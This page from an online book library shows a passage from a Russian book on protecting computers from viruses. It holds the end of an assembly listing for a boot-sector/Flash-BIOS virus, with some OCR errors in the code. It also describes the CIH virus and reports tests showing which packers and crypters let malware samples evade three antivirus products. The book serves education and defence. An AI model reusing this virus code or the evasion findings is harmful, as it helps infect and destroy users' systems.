KnigaRead.com/
KnigaRead.com » Компьютеры и Интернет » Прочая околокомпьтерная литература » Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров

Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров

На нашем сайте KnigaRead.com Вы можете абсолютно бесплатно читать книгу онлайн Олег Бойцев, "Защити свой компьютер на 100% от вирусов и хакеров" бесплатно, без регистрации.
Перейти на страницу:

flash_done db 0

; Наш обработчик INT 19h.

int19Handler Proc Near

; Установим сегментный регистр ES в ноль

хог ах, ах

mov es, ax

; Проверим наличие резидентного вируса

mov ax, 0ABBAh

int 13h

; Если вирус присутствует, то запускаем оригинальный

; обработчик прерывания INT 19h

cmp ax, 0BAABh

jne real_int19h

; Перенесем вирус из BIOS в boot-буфер

push cs

pop ds

cld

xor si, si

mov di, 7c00h

mov cx,512

rep movsb

; 3апустим вирус в boot-буфере

mov dl, 80h

jmp goto_Buffer

real_int19h:

; Произведем сброс дисковой подсистемы

xor ax, ax

int 13h

; Проинициализируем значения регистров для загрузки boot-сектора

mov cx, 1

mov dh, 0

mov ax, 0201h

mov bx, 7C00h

; Проверим, откуда грузимся: если DL не нулевой,

; переходим к загрузке с жесткого диска

cmp dl, 0

ja hd_int19h

; Прочтем boot-сектор с дискеты. Если при чтении происходит

; ошибка, то читаем с жесткого диска

int 13h

 jc fix_hd

; Остановим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done], 1

; 3апустим boot-сектор, находящийся в boot-буфере

db 0EAh ; Код команды JMP FAR

dw 7c00h

dw 0 Fix_HD:

; Установим номер диска для загрузки (диск С)

mov dl, 80h

HD_int19h:

; Произведем сброс дисковой подсистемы

хог ах, ах

int 13h ;

Прочтем boot-сектор

mov ax, 0201h

int 13h

jc Boot

jmp Goto_Buffer ;

Если не удалось загрузить boot-сектор,

; вызываем прерывание INT 18h

Boot:

int 18h

int19Handler EndP

Flash_BIOS EndP

End_Virus:

; Размер области памяти, необходимый для дополнения

; размера вируса до 510 байт

DupSize equ 510-offset End_Virus

; Заполнение не занятой вирусом части сектора

db DupSize dup (0)

db 55h, 0aah

Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).

Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.

Возможные варианты защиты (плюс такие классические варианты, как установка последней версии антивирусной программы с новыми базами):

♦ настройка BIOS, контроль режима чтение только;

♦ контроль критических областей с помощью специализированных утилит типа ADINF32.

Возможные варианты лечения:

♦ удаление вируса и его записей с помощью вакцин типа "АнтиЧернобыль" и т. п.;

♦ радикальный метод – перепрошивка BIOS/замена микросхем.

5.4. Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными

В рамках данного раздела мы попытаемся выяснить, действительно ли даже три антивируса могут дать сбой в поимке «хитрого» кода, и как с этим связано такое качество антивирусного продукта, как эвристика. В роли испытуемых антивирусов были выбраны следующие популярные продукты:

♦ "Антивирус Касперского";

♦ ESET NOD32;

♦ Vba32 ("ВирусБлокАда").

ПРИМЕЧАНИЕ

В данном тесте мы акцентируем особое внимание на антивирусном продукте Vba32. Это белорусский антивирус, включающий в себя достаточно оригинальный эвристический модуль, в основе которого стоит запатентованная технология "MalwareScopeTM".

Методология проведения теста

Напомним, что качество эвристики определяется способностью антивируса распознавать модифицированный вредоносный код. Фактически, эвристика предполагает обнаружение вируса, которого нет в базах: по специальным алгоритмам и некоторым признакам антивирус сам должен «домыслить», что проверяемый код является вирусным. Как вы уже поняли, задача не из легких.

Для наибольшей объективности теста мы возьмем максимально широкий перечень инструментов, применяемых в подобных случаях. Помимо упаковщиков, генераторов вирусов и утилит для обфускации, мы включим в наш тест самописный вирус, а также воспользуемся полиморфным образцом Virus.Win32.Zombie, который известен оригинальной технологией декриптования для обхода эвристических анализаторов.

Подобная методология, включающая комплексное тестирование, широко применяется в сертифицированных тестовых лабораториях и позволяет минимизировать возможные погрешности, сделав результат теста максимально объективным.

"Свежесть" баз всех трех антивирусов одинакова. Уровень настроек эвристики во всех трех случаях аналогичен и приравнен к средним.

Итак, пожалуй, начнем.

Тест № 1

Для проведения первого теста были использованы случайным образом отобранные из коллекции (579 штук) четыре экземпляра вредоносного кода:

♦ TrojanDownloader.13547;

♦ Backdoor. Win32Optix.b;

♦ Trojan-Win32PSW.QQRob.16;

♦ Trojan-Win32PSW.QQShou.EH.

Каждый экземпляр был пропущен через PeStubOEP (программа предназначена для защиты EXE-файлов от определения их компилятора/упаковщика). Результаты проверки следующие ("+" – распознан; "-" – не распознан). Итак (результаты на рис. 5.3).

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+".

Рис. 5.3. TrojanDownloader.13547 был успешно найден

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.4).

Рис. 5.4. Backdoor.Win32Optix.b – «крепкие орешки» еще впереди!

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.5).

Рис. 5.5. Наш антивирус пока на высоте

Trojan-Win32PSW.QQShou.EH оказался крепким орешком, и Vba32 определил его, только после того как были установлены максимальные настройки:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.6, 5.7).

ПРИМЕЧАНИЕ

Один из экземпляров вредоносного кода (Trojan-Win32PSW.QQShou.EH) Vba32 был определен как Trojan-Spy.Delf.13.

Как видите, некоторые из экземпляров вредоносного кода могут быть обнаружены только с максимальными настройками, и совсем не факт, что антивирус расскажет вам всю правду.

Рис. 5.6. Экспертный анализ – максимален!

Рис. 5.7. Похож на Spy-Delf…

Используем следующую партию экземпляров, случайно отобранных из коллекции:

♦ Trojan.Spambot;

♦ OS.cope.Worm.UK.Nuwar;

♦ Trojan-Proxy.WIN32.Lager.aq.

Два троянских коня и червь были запакованы Tibs. Проверяем:

♦ Nod32 2.7 "-";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.8).

Рис. 5.8. Результат проверки – Trojan.Spambot!

ПРИМЕЧАНИЕ

Как видите, здесь нас немного огорчил NOD32. Но не будем забывать, что даже качественно проработанный движок несовершенен.

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.9).

Рис. 5.9. Самый настоящий червь!

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.10).

Рис. 5.10. Прокси-троян у нас под колпаком

Продолжаем наши эксперименты. Теперь возьмем три различных вируса и наобум запакуем их тремя различными упаковщиками. Троянского коня упаковываем NsAnti. Результаты:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.11).

Рис. 5.11. На ловца и зверь бежит!

Теперь Trojan-Spy.Win32.AimSpy запакуем SkD Undetectabler Pro 2 SkDPRO. Результаты:

♦ Nod32 2.7 "-";

♦ "Антивирус Касперского 6.0" "-";

♦ Vba32 "-".

ПРИМЕЧАНИЕ

Ну вот, собственно, и настал момент истины. Заметьте, что ни один из наших антивирусных продуктов не смог обнаружить запакованный SkD Undetectabler Pro 2 SkDPRO троянский конь – SkD Undetectabler Pro 2 SkDPRO!

Едем дальше. Trojan.Mezzia пакуем Zipworx SecureEXE. Результаты:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.12).

Рис. 5.12.Vba не спит

Тест № 2

Тест включает в себя упаковку одного вируса несколькими упаковщиками. В качестве «зло-кода» был использован известный Virus.Win32.Neshta.b. Итак, результаты.

Пропускаем нашего "нечто" через WinUpack:

♦ Nod32 2.7 "-";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.13).

Рис. 5.13. Neshta – не уйдет! Пропускаем Neshta через Arm Protector ver.01:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "-" (рис. 5.14).

Рис. 5.14. Vba32 не видит наше «нечто»

Пропускаем "нечто" через FSG. Результаты:

♦ Nod32 2.7 "+";

♦ "Антивирус Касперского 6.0" "+";

♦ Vba32 "+" (рис. 5.15).

Рис. 5.15. И опять наш антивирус на высоте

ПРИМЕЧАНИЕ

Как видите, в этом тесте Vba32 не смог обнаружить "нечто", запакованного Arm Protector ver.01. Nod32 совсем не распознал Neshta, запакованного WinUpack. Вывод: совершенной эвристики нет – к ней лишь можно стремиться.

Тест № 3

В данном тесте был использован генератор вирусов APOKALIPSES. Из десяти сгенерированных экземпляров Vba32 обнаружил 8, Nod32 2.7 – 9, «Антивирус Касперского 6.0» обнаружил все.

Перейти на страницу:
Прокомментировать
Подтвердите что вы не робот:*